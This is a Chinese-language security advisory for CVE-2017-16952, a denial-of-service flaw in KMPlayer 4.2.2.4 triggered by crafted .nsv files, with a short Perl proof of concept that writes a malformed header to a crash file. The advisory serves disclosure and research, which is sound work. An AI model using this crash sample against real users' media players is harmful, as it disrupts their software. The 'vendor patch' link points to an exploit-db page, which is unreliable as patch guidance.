KMPlayer .nsv远程拒绝服务漏洞(CVE-2017-16952)
发布日期:2017-11-28
更新日期:2018-01-25
受影响系统:
描述:
BUGTRAQ ID: 102717
CVE(CAN) ID: CVE-2017-16952
KMPlayer是影音全能播放器,是从linux平台移植而来的。
KMPlayer 4.2.2.4版本处理构造的.nsv文件时在实现上存在安全漏洞,远程攻击者利用此漏洞可造成拒绝服务。
<*来源:R.Yavari
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
R.Yavari ()提供了如下测试方法:
#! /usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
#
# (D.P)
open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data =
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
close(code);
建议:
厂商补丁:
KMPlayer
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://www.exploit-db.com/exploits/43185/